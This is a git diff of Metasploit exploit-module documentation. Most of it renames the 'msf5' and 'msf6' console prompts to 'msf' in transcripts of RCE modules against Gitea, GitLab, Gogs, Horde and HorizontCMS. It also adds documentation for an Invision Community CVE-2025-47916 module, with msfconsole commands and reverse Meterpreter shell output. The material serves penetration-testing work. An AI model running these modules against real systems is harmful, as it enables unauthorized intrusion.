a/documentation/modules/exploit/multi/http/git_submodule_url_exec.md b/documentation/modules/exploit/multi/http/git_submodule_url_exec.md index 79d2e8a7e6168..76443c529c47a 100644 --- a/documentation/modules/exploit/multi/http/git_submodule_url_exec.md +++ b/documentation/modules/exploit/multi/http/git_submodule_url_exec.md @@ -48,15 +48,15 @@ ``` -msf5 > use exploit/multi/http/git_submodule_url_exec -msf5 exploit(multi/http/git_submodule_url_exec) > set LHOST 192.168.0.1 +msf > use exploit/multi/http/git_submodule_url_exec +msf exploit(multi/http/git_submodule_url_exec) > set LHOST 192.168.0.1 LHOST => 192.168.0.1 -msf5 exploit(multi/http/git_submodule_url_exec) > exploit +msf exploit(multi/http/git_submodule_url_exec) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.0.1:4444 -msf5 exploit(multi/http/git_submodule_url_exec) > [*] Using URL: http://0.0.0.0:8080/yaDlXuHVnRMMYGQ +msf exploit(multi/http/git_submodule_url_exec) > [*] Using URL: http://0.0.0.0:8080/yaDlXuHVnRMMYGQ [*] Local IP: http://192.168.0.1:8080/yaDlXuHVnRMMYGQ [*] Server started. [*] Malicious Git URI is http://192.168.0.1:8080/ogkvs.git diff --git a/documentation/modules/exploit/multi/http/gitea_git_fetch_rce.md b/documentation/modules/exploit/multi/http/gitea_git_fetch_rce.md index 98e9b73feb845..5f22cf481132e 100644 --- a/documentation/modules/exploit/multi/http/gitea_git_fetch_rce.md +++ b/documentation/modules/exploit/multi/http/gitea_git_fetch_rce.md @@ -107,19 +107,19 @@ Number of seconds the web server will wait to deliver payload (default: 12) ### Successful exploitation of Gitea 1.16.6 on Docker ``` -msf6 > use exploit/multi/http/gitea_git_fetch_rce +msf > use exploit/multi/http/gitea_git_fetch_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2 +msf exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2 rhosts => 172.17.0.2 -msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1 +msf exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1 lhost => 172.17.0.1 -msf6 exploit(multi/http/gitea_git_fetch_rce) > set username msf +msf exploit(multi/http/gitea_git_fetch_rce) > set username msf username => msf -msf6 exploit(multi/http/gitea_git_fetch_rce) > set password qwerty +msf exploit(multi/http/gitea_git_fetch_rce) > set password qwerty password => qwerty -msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true +msf exploit(multi/http/gitea_git_fetch_rce) > set verbose true verbose => true -msf6 exploit(multi/http/gitea_git_fetch_rce) > run +msf exploit(multi/http/gitea_git_fetch_rce) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -149,21 +149,21 @@ Server username: git ### Successful exploitation of Gitea 1.16.6 on Windows 10 ``` -msf6 > use exploit/multi/http/gitea_git_fetch_rce +msf > use exploit/multi/http/gitea_git_fetch_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/gitea_git_fetch_rce) > set target 2 +msf exploit(multi/http/gitea_git_fetch_rce) > set target 2 target => 2 -msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 192.168.0.21 +msf exploit(multi/http/gitea_git_fetch_rce) > set rhosts 192.168.0.21 rhosts => 192.168.0.21 -msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 192.168.0.104 +msf exploit(multi/http/gitea_git_fetch_rce) > set lhost 192.168.0.104 lhost => 192.168.0.104 -msf6 exploit(multi/http/gitea_git_fetch_rce) > set username yo +msf exploit(multi/http/gitea_git_fetch_rce) > set username yo username => yo -msf6 exploit(multi/http/gitea_git_fetch_rce) > set password password +msf exploit(multi/http/gitea_git_fetch_rce) > set password password password => password -msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true +msf exploit(multi/http/gitea_git_fetch_rce) > set verbose true verbose => true -msf6 exploit(multi/http/gitea_git_fetch_rce) > run +msf exploit(multi/http/gitea_git_fetch_rce) > run [*] Started reverse TCP handler on 192.168.0.104:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -191,19 +191,19 @@ msf ### Failed exploitation due to migration settings ``` -msf6 > use exploit/multi/http/gitea_git_fetch_rce +msf > use exploit/multi/http/gitea_git_fetch_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2 +msf exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2 rhosts => 172.17.0.2 -msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1 +msf exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1 lhost => 172.17.0.1 -msf6 exploit(multi/http/gitea_git_fetch_rce) > set username msf +msf exploit(multi/http/gitea_git_fetch_rce) > set username msf username => msf -msf6 exploit(multi/http/gitea_git_fetch_rce) > set password qwerty +msf exploit(multi/http/gitea_git_fetch_rce) > set password qwerty password => qwerty -msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true +msf exploit(multi/http/gitea_git_fetch_rce) > set verbose true verbose => true -msf6 exploit(multi/http/gitea_git_fetch_rce) > run +msf exploit(multi/http/gitea_git_fetch_rce) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/gitea_git_hooks_rce.md b/documentation/modules/exploit/multi/http/gitea_git_hooks_rce.md index 71df8d5493482..30f8ac9e2175d 100644 --- a/documentation/modules/exploit/multi/http/gitea_git_hooks_rce.md +++ b/documentation/modules/exploit/multi/http/gitea_git_hooks_rce.md @@ -80,19 +80,19 @@ The password to authenticate with. ### Gitea 1.12.6 on Docker ``` -msf6 > use multi/http/gitea_git_hooks_rce +msf > use multi/http/gitea_git_hooks_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/gitea_git_hooks_rce) > set USERNAME msfuser +msf exploit(multi/http/gitea_git_hooks_rce) > set USERNAME msfuser USERNAME => msfuser -msf6 exploit(multi/http/gitea_git_hooks_rce) > set PASSWORD Msf!23 +msf exploit(multi/http/gitea_git_hooks_rce) > set PASSWORD Msf!23 PASSWORD => Msf!23 -msf6 exploit(multi/http/gitea_git_hooks_rce) > set rhosts 127.0.0.1 +msf exploit(multi/http/gitea_git_hooks_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(multi/http/gitea_git_hooks_rce) > set LHOST 192.168.1.75 +msf exploit(multi/http/gitea_git_hooks_rce) > set LHOST 192.168.1.75 LHOST => 192.168.1.75 -msf6 exploit(multi/http/gitea_git_hooks_rce) > set RPORT 3000 +msf exploit(multi/http/gitea_git_hooks_rce) > set RPORT 3000 RPORT => 3000 -msf6 exploit(multi/http/gitea_git_hooks_rce) > options +msf exploit(multi/http/gitea_git_hooks_rce) > options Module options (exploit/multi/http/gitea_git_hooks_rce): @@ -125,9 +125,9 @@ Exploit target: 1 Linux Dropper -msf6 exploit(multi/http/gitea_git_hooks_rce) > set verbose true +msf exploit(multi/http/gitea_git_hooks_rce) > set verbose true verbose => true -msf6 exploit(multi/http/gitea_git_hooks_rce) > run +msf exploit(multi/http/gitea_git_hooks_rce) > run [*] Started reverse TCP handler on 192.168.1.75:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -176,21 +176,21 @@ Meterpreter : x64/linux ### Gitea 1.12.6 on Windows ``` -msf6 > use multi/http/gitea_git_hooks_rce +msf > use multi/http/gitea_git_hooks_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/gitea_git_hooks_rce) > set USERNAME msfuser +msf exploit(multi/http/gitea_git_hooks_rce) > set USERNAME msfuser USERNAME => msfuser -msf6 exploit(multi/http/gitea_git_hooks_rce) > set PASSWORD Msf!23 +msf exploit(multi/http/gitea_git_hooks_rce) > set PASSWORD Msf!23 PASSWORD => Msf!23 -msf6 exploit(multi/http/gitea_git_hooks_rce) > set rhosts 192.168.144.195 +msf exploit(multi/http/gitea_git_hooks_rce) > set rhosts 192.168.144.195 rhosts => 192.168.144.195 -msf6 exploit(multi/http/gitea_git_hooks_rce) > set RPORT 3000 +msf exploit(multi/http/gitea_git_hooks_rce) > set RPORT 3000 RPORT => 3000 -msf6 exploit(multi/http/gitea_git_hooks_rce) > set LHOST 192.168.144.1 +msf exploit(multi/http/gitea_git_hooks_rce) > set LHOST 192.168.144.1 LHOST => 192.168.144.1 -msf6 exploit(multi/http/gitea_git_hooks_rce) > set target 3 +msf exploit(multi/http/gitea_git_hooks_rce) > set target 3 target => 3 -msf6 exploit(multi/http/gitea_git_hooks_rce) > options +msf exploit(multi/http/gitea_git_hooks_rce) > options Module options (exploit/multi/http/gitea_git_hooks_rce): @@ -224,9 +224,9 @@ Exploit target: 3 Windows Dropper -msf6 exploit(multi/http/gitea_git_hooks_rce) > set verbose true +msf exploit(multi/http/gitea_git_hooks_rce) > set verbose true verbose => true -msf6 exploit(multi/http/gitea_git_hooks_rce) > run +msf exploit(multi/http/gitea_git_hooks_rce) > run [*] Started reverse TCP handler on 192.168.144.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/http/gitlab_exif_rce.md b/documentation/modules/exploit/multi/http/gitlab_exif_rce.md index dc1ecb1d99e15..5c11cb760125e 100644 --- a/documentation/modules/exploit/multi/http/gitlab_exif_rce.md +++ b/documentation/modules/exploit/multi/http/gitlab_exif_rce.md @@ -53,15 +53,15 @@ of a [relative URL](https://docs.gitlab.com/omnibus/settings/configuration.html# ### GitLab 13.10.1 on Ubuntu 20.04.2 x64. Get Meterpreter session. ``` -msf6 > use exploit/multi/http/gitlab_exif_rce +msf > use exploit/multi/http/gitlab_exif_rce [*] Using configured payload linux/x86/meterpreter_reverse_tcp -msf6 exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.7 +msf exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.7 RHOST => 10.0.0.7 -msf6 exploit(multi/http/gitlab_exif_rce) > check +msf exploit(multi/http/gitlab_exif_rce) > check [*] Uploading c6hn3KFIMqv.jpg to /D3iMLq [+] 10.0.0.7:80 - The target is vulnerable. The error response indicates ExifTool was executed. -msf6 exploit(multi/http/gitlab_exif_rce) > options +msf exploit(multi/http/gitlab_exif_rce) > options Module options (exploit/multi/http/gitlab_exif_rce): @@ -94,9 +94,9 @@ Exploit target: 1 Linux Dropper -msf6 exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9 +msf exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9 LHOST => 10.0.0.9 -msf6 exploit(multi/http/gitlab_exif_rce) > exploit +msf exploit(multi/http/gitlab_exif_rce) > exploit [*] Started reverse TCP handler on 10.0.0.9:4444 [*] Executing Linux Dropper for linux/x86/meterpreter_reverse_tcp @@ -126,7 +126,7 @@ pwd Similar to above, but using `curl` instead: ``` -msf6 exploit(multi/http/gitlab_exif_rce) > run +msf exploit(multi/http/gitlab_exif_rce) > run [*] Started reverse TCP handler on 10.0.0.9:4444 [*] Executing Linux Dropper for linux/x86/meterpreter_reverse_tcp @@ -146,17 +146,17 @@ meterpreter > ### GitLab 13.10.2 on CentOS 8. Get reverse shell using printf / reverse_tcp ``` -msf6 > use exploits/multi/http/gitlab_exif_rce +msf > use exploits/multi/http/gitlab_exif_rce [*] Using configured payload linux/x86/meterpreter_reverse_tcp -msf6 exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.7 +msf exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.7 RHOST => 10.0.0.7 -msf6 exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9 +msf exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9 LHOST => 10.0.0.9 -msf6 exploit(multi/http/gitlab_exif_rce) > set payload linux/x86/shell/reverse_tcp +msf exploit(multi/http/gitlab_exif_rce) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp -msf6 exploit(multi/http/gitlab_exif_rce) > set CmdStager::Flavor printf +msf exploit(multi/http/gitlab_exif_rce) > set CmdStager::Flavor printf CmdStager::Flavor => printf -msf6 exploit(multi/http/gitlab_exif_rce) > exploit +msf exploit(multi/http/gitlab_exif_rce) > exploit [*] Started reverse TCP handler on 10.0.0.9:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -193,15 +193,15 @@ git ### GitLab 13.10.2 on Ubuntu 20.04.2 x64. Get reverse shell. ``` -msf6 > use exploit/multi/http/gitlab_exif_rce +msf > use exploit/multi/http/gitlab_exif_rce [*] Using configured payload linux/x86/meterpreter_reverse_tcp -msf6 exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.3 +msf exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.3 RHOST => 10.0.0.3 -msf6 exploit(multi/http/gitlab_exif_rce) > check +msf exploit(multi/http/gitlab_exif_rce) > check [*] Uploading bSjUnQsE.jpg to /Da8eKs2 [+] 10.0.0.3:80 - The target is vulnerable. The error response indicates ExifTool was executed. -msf6 exploit(multi/http/gitlab_exif_rce) > show targets +msf exploit(multi/http/gitlab_exif_rce) > show targets Exploit targets: @@ -211,11 +211,11 @@ Exploit targets: 1 Linux Dropper -msf6 exploit(multi/http/gitlab_exif_rce) > set target 0 +msf exploit(multi/http/gitlab_exif_rce) > set target 0 target => 0 -msf6 exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9 +msf exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9 LHOST => 10.0.0.9 -msf6 exploit(multi/http/gitlab_exif_rce) > exploit +msf exploit(multi/http/gitlab_exif_rce) > exploit [*] Started reverse double SSL handler on 10.0.0.9:4444 [*] Executing Unix Command for cmd/unix/reverse_openssl @@ -244,18 +244,18 @@ pwd ### GitLab 14.4.1 on Ubuntu 20.04.2 x64. Unable to exploit. ``` -msf6 > use exploits/multi/http/gitlab_exif_rce +msf > use exploits/multi/http/gitlab_exif_rce [*] Using configured payload linux/x86/meterpreter_reverse_tcp -msf6 exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.6 +msf exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.6 RHOST => 10.0.0.6 -msf6 exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9 +msf exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9 LHOST => 10.0.0.9 -msf6 exploit(multi/http/gitlab_exif_rce) > exploit +msf exploit(multi/http/gitlab_exif_rce) > exploit [*] Started reverse TCP handler on 10.0.0.9:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Uploading NUvUyPiyKL3.jpg to /PT2hiCf47 [-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The error response indicates ExifTool was not run. "set ForceExploit true" to override check result. [*] Exploit completed, but no session was created. -msf6 exploit(multi/http/gitlab_exif_rce) > +msf exploit(multi/http/gitlab_exif_rce) > ``` diff --git a/documentation/modules/exploit/multi/http/gitlab_file_read_rce.md b/documentation/modules/exploit/multi/http/gitlab_file_read_rce.md index d3fb1a9426419..27f532abf9c1d 100644 --- a/documentation/modules/exploit/multi/http/gitlab_file_read_rce.md +++ b/documentation/modules/exploit/multi/http/gitlab_file_read_rce.md @@ -178,7 +178,7 @@ Specifying a `SECRET_KEY_BASE` to avoid the arbitrary file read: ### Arbitrary File Read to RCE ``` -msf6 exploit(multi/http/gitlab_file_read_rce) > options +msf exploit(multi/http/gitlab_file_read_rce) > options Module options (exploit/multi/http/gitlab_file_read_rce): @@ -213,7 +213,7 @@ Exploit target: 0 Automatic -msf6 exploit(multi/http/gitlab_file_read_rce) > rerun +msf exploit(multi/http/gitlab_file_read_rce) > rerun [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -235,7 +235,7 @@ whoami git ^Z Background session 23? [y/N] y -msf6 exploit(multi/http/gitlab_file_read_rce) > sessions -u 23 +msf exploit(multi/http/gitlab_file_read_rce) > sessions -u 23 [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [23] [!] SESSION may not be compatible with this module. @@ -245,7 +245,7 @@ msf6 exploit(multi/http/gitlab_file_read_rce) > sessions -u 23 [*] Sending stage (976712 bytes) to 172.17.0.2 [*] Meterpreter session 24 opened (172.17.0.1:4433 -> 172.17.0.2:45442) at 2020-11-21 21:34:34 -0500 [*] Command stager progress: 100.00% (773/773 bytes) -msf6 exploit(multi/http/gitlab_file_read_rce) > sessions +msf exploit(multi/http/gitlab_file_read_rce) > sessions Active sessions =============== @@ -256,13 +256,13 @@ Active sessions 24 meterpreter x86/linux git @ 622b6a4c6722 (uid=998, gid=998, euid=998, egid=998) @ 17 172.17.0.1:4433 -> 172.17.0.2:45442 (172.17.0.2) 2.17.0.2 -msf6 exploit(multi/http/gitlab_file_read_rce) > +msf exploit(multi/http/gitlab_file_read_rce) > ``` ### Specifying SECRET_KEY_BASE to RCE ``` -msf6 exploit(multi/http/gitlab_file_read_rce) > options +msf exploit(multi/http/gitlab_file_read_rce) > options Module options (exploit/multi/http/gitlab_file_read_rce): @@ -301,7 +301,7 @@ Exploit target: 0 Automatic -msf6 exploit(multi/http/gitlab_file_read_rce) > run +msf exploit(multi/http/gitlab_file_read_rce) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -310,7 +310,7 @@ msf6 exploit(multi/http/gitlab_file_read_rce) > run ^Z Background session 12? [y/N] y -msf6 exploit(multi/http/gitlab_file_read_rce) > sessions -u 12 +msf exploit(multi/http/gitlab_file_read_rce) > sessions -u 12 [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [12] [!] SESSION may not be compatible with this module. @@ -320,7 +320,7 @@ msf6 exploit(multi/http/gitlab_file_read_rce) > sessions -u 12 [*] Sending stage (976712 bytes) to 172.17.0.2 [*] Meterpreter session 13 opened (172.17.0.1:4433 -> 172.17.0.2:56876) at 2020-12-06 19:53:42 -0500 [*] Command stager progress: 100.00% (773/773 bytes) -msf6 exploit(multi/http/gitlab_file_read_rce) > sessions +msf exploit(multi/http/gitlab_file_read_rce) > sessions Active sessions =============== @@ -331,5 +331,5 @@ Active sessions 13 meterpreter x86/linux git @ 5d733775a28a (uid=998, gid=998, euid=998, egid=998) @ 172 172.17.0.1:4433 -> 172.17.0.2:56876 (172.17.0.2) .17.0.2 -msf6 exploit(multi/http/gitlab_file_read_rce) > +msf exploit(multi/http/gitlab_file_read_rce) > ``` diff --git a/documentation/modules/exploit/multi/http/gitlab_github_import_rce_cve_2022_2992.md b/documentation/modules/exploit/multi/http/gitlab_github_import_rce_cve_2022_2992.md index cb5067780af01..d48d51b6ed653 100644 --- a/documentation/modules/exploit/multi/http/gitlab_github_import_rce_cve_2022_2992.md +++ b/documentation/modules/exploit/multi/http/gitlab_github_import_rce_cve_2022_2992.md @@ -142,7 +142,7 @@ address), then the module will throw this error: ``` ``` -msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > options +msf exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > options Module options (exploit/multi/http/gitlab_github_import_rce_cve_2022_2992): @@ -182,7 +182,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > run +msf exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > run [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -197,5 +197,5 @@ pwd /var/opt/gitlab/gitlab-rails/working exit [*] 192.168.159.128 - Command shell session 1 closed. -msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > +msf exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > ``` diff --git a/documentation/modules/exploit/multi/http/gitlist_arg_injection.md b/documentation/modules/exploit/multi/http/gitlist_arg_injection.md index 356c18489d4f3..f1e2415ee8084 100644 --- a/documentation/modules/exploit/multi/http/gitlist_arg_injection.md +++ b/documentation/modules/exploit/multi/http/gitlist_arg_injection.md @@ -20,12 +20,12 @@ ### Tested on Ubuntu 18.04 x64 ``` - msf5 > use exploit/multi/http/gitlist_arg_injection - msf5 exploit(multi/http/gitlist_arg_injection) > set rhosts 192.168.37.141 + msf > use exploit/multi/http/gitlist_arg_injection + msf exploit(multi/http/gitlist_arg_injection) > set rhosts 192.168.37.141 rhosts => 192.168.37.141 - msf5 exploit(multi/http/gitlist_arg_injection) > check + msf exploit(multi/http/gitlist_arg_injection) > check [+] 192.168.37.141:80 The target is vulnerable. - msf5 exploit(multi/http/gitlist_arg_injection) > run + msf exploit(multi/http/gitlist_arg_injection) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Sending stage (37775 bytes) to 192.168.37.141 diff --git a/documentation/modules/exploit/multi/http/gogs_git_hooks_rce.md b/documentation/modules/exploit/multi/http/gogs_git_hooks_rce.md index 4b8c3255c3c3a..b1e90ed916d59 100644 --- a/documentation/modules/exploit/multi/http/gogs_git_hooks_rce.md +++ b/documentation/modules/exploit/multi/http/gogs_git_hooks_rce.md @@ -76,19 +76,19 @@ The password to authenticate with. ### Gogs 0.12.3 on Docker ``` -msf6 > use multi/http/gogs_git_hooks_rce +msf > use multi/http/gogs_git_hooks_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/gogs_git_hooks_rce) > set USERNAME msfuser +msf exploit(multi/http/gogs_git_hooks_rce) > set USERNAME msfuser USERNAME => msfuser -msf6 exploit(multi/http/gogs_git_hooks_rce) > set PASSWORD Msf!23 +msf exploit(multi/http/gogs_git_hooks_rce) > set PASSWORD Msf!23 PASSWORD => Msf!23 -msf6 exploit(multi/http/gogs_git_hooks_rce) > set rhosts 127.0.0.1 +msf exploit(multi/http/gogs_git_hooks_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(multi/http/gogs_git_hooks_rce) > set RPORT 10080 +msf exploit(multi/http/gogs_git_hooks_rce) > set RPORT 10080 RPORT => 10080 -msf6 exploit(multi/http/gogs_git_hooks_rce) > set LHOST 192.168.1.75 +msf exploit(multi/http/gogs_git_hooks_rce) > set LHOST 192.168.1.75 LHOST => 192.168.1.75 -msf6 exploit(multi/http/gogs_git_hooks_rce) > options +msf exploit(multi/http/gogs_git_hooks_rce) > options Module options (exploit/multi/http/gogs_git_hooks_rce): @@ -121,9 +121,9 @@ Exploit target: 1 Linux Dropper -msf6 exploit(multi/http/gogs_git_hooks_rce) > set verbose true +msf exploit(multi/http/gogs_git_hooks_rce) > set verbose true verbose => true -msf6 exploit(multi/http/gogs_git_hooks_rce) > run +msf exploit(multi/http/gogs_git_hooks_rce) > run [*] Started reverse TCP handler on 192.168.1.75:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/http/horde_csv_rce.md b/documentation/modules/exploit/multi/http/horde_csv_rce.md index b5bc32cbc76e3..b5d77d55c180b 100644 --- a/documentation/modules/exploit/multi/http/horde_csv_rce.md +++ b/documentation/modules/exploit/multi/http/horde_csv_rce.md @@ -29,18 +29,18 @@ pear install --ignore-errors horde/horde_data-2.1.4 ### Horde Groupware Webmail Edition 5.2.22 with Horde Data API 2.1.4 on Debian GNU/Linux 9 ``` -msf5 > use exploit/multi/http/horde_csv_rce -msf5 exploit(multi/http/horde_csv_rce) > set payload php/meterpreter/reverse_tcp +msf > use exploit/multi/http/horde_csv_rce +msf exploit(multi/http/horde_csv_rce) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp -msf5 exploit(multi/http/horde_csv_rce) > set lhost 192.168.1.69 +msf exploit(multi/http/horde_csv_rce) > set lhost 192.168.1.69 lhost => 192.168.1.69 -msf5 exploit(multi/http/horde_csv_rce) > set rhost 192.168.1.69 +msf exploit(multi/http/horde_csv_rce) > set rhost 192.168.1.69 rhost => 192.168.1.69 -msf5 exploit(multi/http/horde_csv_rce) > set username alice +msf exploit(multi/http/horde_csv_rce) > set username alice username => alice -msf5 exploit(multi/http/horde_csv_rce) > set password alice +msf exploit(multi/http/horde_csv_rce) > set password alice password => alice -msf5 exploit(multi/http/horde_csv_rce) > exploit +msf exploit(multi/http/horde_csv_rce) > exploit [*] Started reverse TCP handler on 0.0.0.0:4444 [*] Sending stage (38288 bytes) to 172.17.0.1 diff --git a/documentation/modules/exploit/multi/http/horizontcms_upload_exec.md b/documentation/modules/exploit/multi/http/horizontcms_upload_exec.md index 6af4ae97a36e7..ba6a23b0a26d3 100644 --- a/documentation/modules/exploit/multi/http/horizontcms_upload_exec.md +++ b/documentation/modules/exploit/multi/http/horizontcms_upload_exec.md @@ -57,7 +57,7 @@ Id Name ## Scenarios ### HorizontCMS 1.0.0-beta running on Ubuntu 18.04) - PHP target ``` -msf6 exploit(multi/http/horizontcms_upload_exec) > show options +msf exploit(multi/http/horizontcms_upload_exec) > show options Module options (exploit/multi/http/horizontcms_upload_exec): @@ -90,7 +90,7 @@ Exploit target: 0 PHP -msf6 exploit(multi/http/horizontcms_upload_exec) > run +msf exploit(multi/http/horizontcms_upload_exec) > run [*] Started reverse TCP handler on 192.168.1.128:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -110,7 +110,7 @@ meterpreter > ``` ### HorizontCMS 1.0.0-beta running on Ubuntu 18.04 - Linux target ``` -msf6 exploit(multi/http/horizontcms_upload_exec) > run +msf exploit(multi/http/horizontcms_upload_exec) > run [*] Started reverse TCP handler on 192.168.1.128:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/http/invision_customcss_rce.md b/documentation/modules/exploit/multi/http/invision_customcss_rce.md new file mode 100644 index 0000000000000..05710e0e61369 --- /dev/null +++ b/documentation/modules/exploit/multi/http/invision_customcss_rce.md @@ -0,0 +1,134 @@ +## Vulnerable Application + +This Metasploit module exploits a remote-code injection in Invision Community ≤ 5.0.6 via the **theme editor**’s `customCss` endpoint: + +* **CVE-2025-47916**: malformed `{expression="…"}` allows evaluation of arbitrary PHP expressions in the `content` parameter. + +### To replicate a vulnerable environment + +1. **Download the pre-built Docker lab** (includes `Dockerfile`, `docker-compose.yml` and the IPS 5.0.6 application): + +```bash +wget https://archive.org/download/ips-5.0.6/IPS-5.0.6.zip -O ips_5.0.6_lab.zip +mkdir ips_5.0.6_lab_dir +unzip ips_5.0.6_lab.zip -d ips_5.0.6_lab_dir +cd ips_5.0.6_lab_dir +``` + +2. **Bring up the stack**: + +```bash +docker-compose up -d +``` + +3. **Complete the installer** by browsing to [http://localhost:7777](http://localhost:7777). + + * You do **not** need a valid license key; you can enter any text and proceed. + * Use database host `db`, user `ipsuser`, password `ipspass`, database `ipsdb`. + +## Verification Steps + +1. **Check the installed version**: + +```bash +curl -s http://localhost:7777/admin/install/eula.txt | head -n5 +``` + +Expected output: + +``` +=============================[NOTE]============================= + Buy license at https://invisioncommunity.com/buy/self-hosted/ +================================================================ + IPS 5.0.6 (5000074) +=============================[NOTE]============================= +``` + +2. **In `msfconsole`**, confirm the module’s `check` returns vulnerable: + +```bash +use exploit/multi/http/invision_customcss_rce +set RHOSTS 127.0.0.1 +set TARGETURI / +check +``` + +## Options + +No option + +## Scenarios + +### PHP Meterpreter (in-memory) + +```bash +use exploit/multi/http/invision_customcss_rce +set TARGET 0 +set RHOSTS 127.0.0.1 +set TARGETURI / +set PAYLOAD php/meterpreter/reverse_tcp +set LHOST 192.168.1.10 +set LPORT 4444 +run +``` + +### Command Shell (ARCH_CMD) + +```bash +use exploit/multi/http/invision_customcss_rce +set TARGET 1 +set RHOSTS 127.0.0.1 +set TARGETURI / +set payload cmd/linux/http/x64/meterpreter_reverse_tcp +set LHOST 192.168.1.10 +set LPORT 4444 +run +``` + +## Expected Results + +With `php/meterpreter/reverse_tcp`: + +```plaintext +msf exploit(multi/http/invision_customcss_rce) > run http://localhost:7777 +[*] Exploiting target 127.0.0.1 +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected IPS version: 5.0.6 +[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6) +[*] Sending exploit to 127.0.0.1:7777 ... +[*] Sending stage (40004 bytes) to 172.30.0.3 +[*] Meterpreter session 9 opened (192.168.1.36:4444 -> 172.30.0.3:34414) at 2025-05-20 18:13:55 +0200 +[*] Session 9 created in the background. +msf exploit(multi/http/invision_customcss_rce) > sessions 9 +[*] Starting interaction with 9... + +meterpreter > sysinfo +Computer : 01ed59644450 +OS : Linux 01ed59644450 6.14.6-2-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 10 May 2025 20:09:10 +0000 x86_64 +Meterpreter : php/linux +``` + +With `cmd/linux/http/x64/meterpreter_reverse_tcp`: + +```plaintext +msf exploit(multi/http/invision_customcss_rce) > run http://localhost:7777 +[*] Exploiting target 127.0.0.1 +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected IPS version: 5.0.6 +[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6) +[*] Sending exploit to 127.0.0.1:7777 ... +[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 172.30.0.3:46552) at 2025-05-20 18:11:35 +0200 +[*] Session 7 created in the background. +msf exploit(multi/http/invision_customcss_rce) > sessions 7 +[*] Starting interaction with 7... + +meterpreter > sysinfo +Computer : 172.30.0.3 +OS : Debian 12.10 (Linux 6.14.6-2-cachyos) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : 